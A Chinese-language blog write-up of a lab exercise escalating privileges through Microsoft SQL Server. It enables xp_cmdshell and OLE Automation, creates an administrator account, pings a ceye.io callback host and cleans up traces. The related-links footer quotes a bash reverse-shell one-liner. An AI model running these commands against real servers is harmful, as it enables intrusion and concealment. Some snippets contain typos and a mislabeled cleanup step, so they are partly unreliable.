首页 > 数据库 >2023.7.2-3-4Mssql xp_cmdshell提权

2023.7.2-3-4Mssql xp_cmdshell提权

时间:2024-07-27 20:51:40浏览次数:16  
标签:cmdshell EXEC sp 提权 4Mssql 2023.7 SQL xp

1.概念

Mssql和SQL sever的一个产品的不同名称。都属于微软公司旗下。而上述Mssql xp_cmdshell提权也属于数据库提权的一种。

主要依赖于sql server自带的存储过程

1.1xp_cmdshell提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让sql sever调用cmd命令。
此过程在 SQL sever2000中默认开启,2005本身及之后版本默认禁止。若想使用,则先需拥有SA账户相应权限,使用sp_configure将其开启。

原理:是在xp_cmdshell的扩展储存过程,通过执行命令方式利用操作系统权限。SA是Microsoft SQLsever的管理员账号,拥有最高权限,可以执行扩展存储过程,并获得返回值。

2005的xp_cmdshell权限一般为system,2008多数为nt authority\network service

1.2xp_cmdshell提权前提
  • 拿到sa权限的账户密码
  • sqlsever服务未降权

2.环境

实验环境:Windows 7系统、SQL Server 2008版本64位

3.操作

3.1从官网下载SQL sever2008 x64 SQLExprAdva版本

Download Microsoft® SQL Server® 2008 R2 SP2 - Express Edition from Official Microsoft Download Center

SQLExprAdva(包含数据库引擎、Express Tools、Reporting Services 和全文搜索),此包包含 SQL Express 的所有组件。此包的下载大小大于“带有工具”的版本,因为它还同时包含“全文搜索”和 Reporting Services。
3.2安装sql sever环境

3.3对所有SQL Server服务使用相同的账户,然后选在system账户(决定了之后提权是否是system权限)

3.4初始化,服务器名称填写lcn-PC(同主机名)

3.5配置重启数据库

点击数据库属性,然后直接确定;之后点击重新启动数据库。

3.6添加SA用户,并修改密码

SQL Server提权需要获取SA用户权限,即设置SA用户并设置密码(123456)。

3.7设置权限,在SA服务器角色中修改最高权限为public和sysadmin。

3.8设置外联;勾选允许连接到数据库引擎并启用登录;

3.9 设置好之后重启数据库
3.10测试外联;打开SQL server配置管理器的网络设置,检查TCP/IP协议是否开启,之后使用navicat进行连接。

成功连接到navicat 16;

4.提权操作

4.1查看组件

执行操作

SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #查看系统实例中是否有xp_cmdshell存储过程;返回行数>0则有,=0则无

4.2若无组件,则开启组件

执行指令:

开启:  
EXEC sp_configure 'show advanced options', 1;  #将高级选项改为1,即启用

RECONFIGURE ;    #若使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数

EXEC sp_configure xp_cmdshell', 1;#同1  ,1表示启用,若关闭则为0,别的不变;
RECONFIGURE;

4.2执行命令,之后执行的命令都是以system权限执行

4.3之后执行添加用户命令操作指令,结果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #创建用户lusang并设置密码为123456;..表示引用master数据库中的xp_cmdshell存储过程,省略指定数据库名称

exec master..xp_cmdshell 'net localgroup administrators lusang /add';#将用户lusang加入管理员工作组

查看已经显示用户创建成功;

4.4利用完权限后,清理痕迹

执行操作将两项配置还原为0;

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #显示已经关闭xp_cmdshell接口

5.Ole提权(Object Linking and Embedding)

当xp_cmdshell不可用时,则可以利用sp_oacreate提权;其本身是一个很危险的存储过程,可以删除、复制、移动文件,或者是配合sp_oamethod来写文件执行cmd命令。

提权条件:系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问。

5.1判断组件是否存在

执行指令:

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0证明不存在,返回1则存在

5.2开启组件

执行指令

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE; #使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

5.3执行组件

执行指令:

declare @cmd INT;
EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';
#通过OLE Automation创建了一个WScriot.Shell对象,之后用run方式执行指定的命令行操作,ping操作,0是窗口样式参数,表示隐藏命令行窗口,true表示等待命令执行完毕。

5.4之后尝试创建用户
daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';

查看显示创建成功;

5.5恢复环境,清理痕迹
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

6.总结

针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。

数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。

标签:cmdshell,EXEC,sp,提权,4Mssql,2023.7,SQL,xp
From: https://www.cnblogs.com/lusang/p/18327452

相关文章

  • 7.22-27MY&MS&ORA等SQL数据库提权
    7.22-27MY&MS&ORA等SQL数据库提权思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;Mysql提权思路:服务探针-信息收集-提权利用-获取权限;1、读取默认数据库配置文件;(了解其......
  • 【待做】【攻防技术系列+权限提升】Windows提权
    Windows提权思维导图Windows提权工具vulmapvulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。windows-exp-suggester这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只......
  • 绕过UAC提权
    什么是UACUAC(UserAccountControl)简称用户帐户控制,UAC是WindowsVista以上的版本中引入了要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。UAC的工作模式不涉及到更改计算机操作的项目是不会触发UAC规则......
  • 系统内核溢出漏洞提权
    介绍溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区......
  • Linux 提权-NFS 共享
    本文通过Google翻译NFSShareno_root_squash–LinuxPrivilegeEscalation这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0前言1什么是NFS共享?2外部枚举NFS共享2.1使用Nmap枚举NFS共享2.2枚举NFS共享2.3......
  • Linux 提权-密码搜寻
    本文通过Google翻译PasswordHunting–LinuxPrivilegeEscalation这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0前言1密码搜寻–文件名和文件内容1.1寻找有趣的文件名1.2寻找有趣的字符串2密码搜寻–Web文......
  • 域内提权(学习笔记)
    前言:域内提权就是把普通域用户提权到域管用户首先先通过web打到域内机器,先获取一个普通的域内成员用户,执行shellipconfig/all可以看到,该用户为域内用户,再执行命令,发现所在组为domainusers中,进而确定为域内普通用户shellnetuserwz/domain一.MS14-068漏洞a.kerber......
  • Linux 提权-SUID/SGID_2
    本文通过Google翻译SUID|SGIDPart-2–LinuxPrivilegeEscalation这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0前言1上文回顾2枚举自定义SUID二进制文件3利用SUID二进制文件–共享对象注入3.1使用Strin......
  • Linux 提权-SUID/SGID_1
    本文通过Google翻译SUID|SGIDPart-1–LinuxPrivilegeEscalation这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0前言1了解特殊权限2寻找SUID/SGID二进制文件–手动方法2.1枚举SUID二进制文件2.2枚举SGID......
  • 提权
    /bin/bash-i>&/dev/tcp/192.168.37.8/44440>&1<?phpexec("/bin/bash-c'bash-i>&/dev/tcp/192.168.37.8/44440>&1'");?>sudonclvnp4444whoamisudo-luname-adpkg-l(是否有python环境)python-c&q......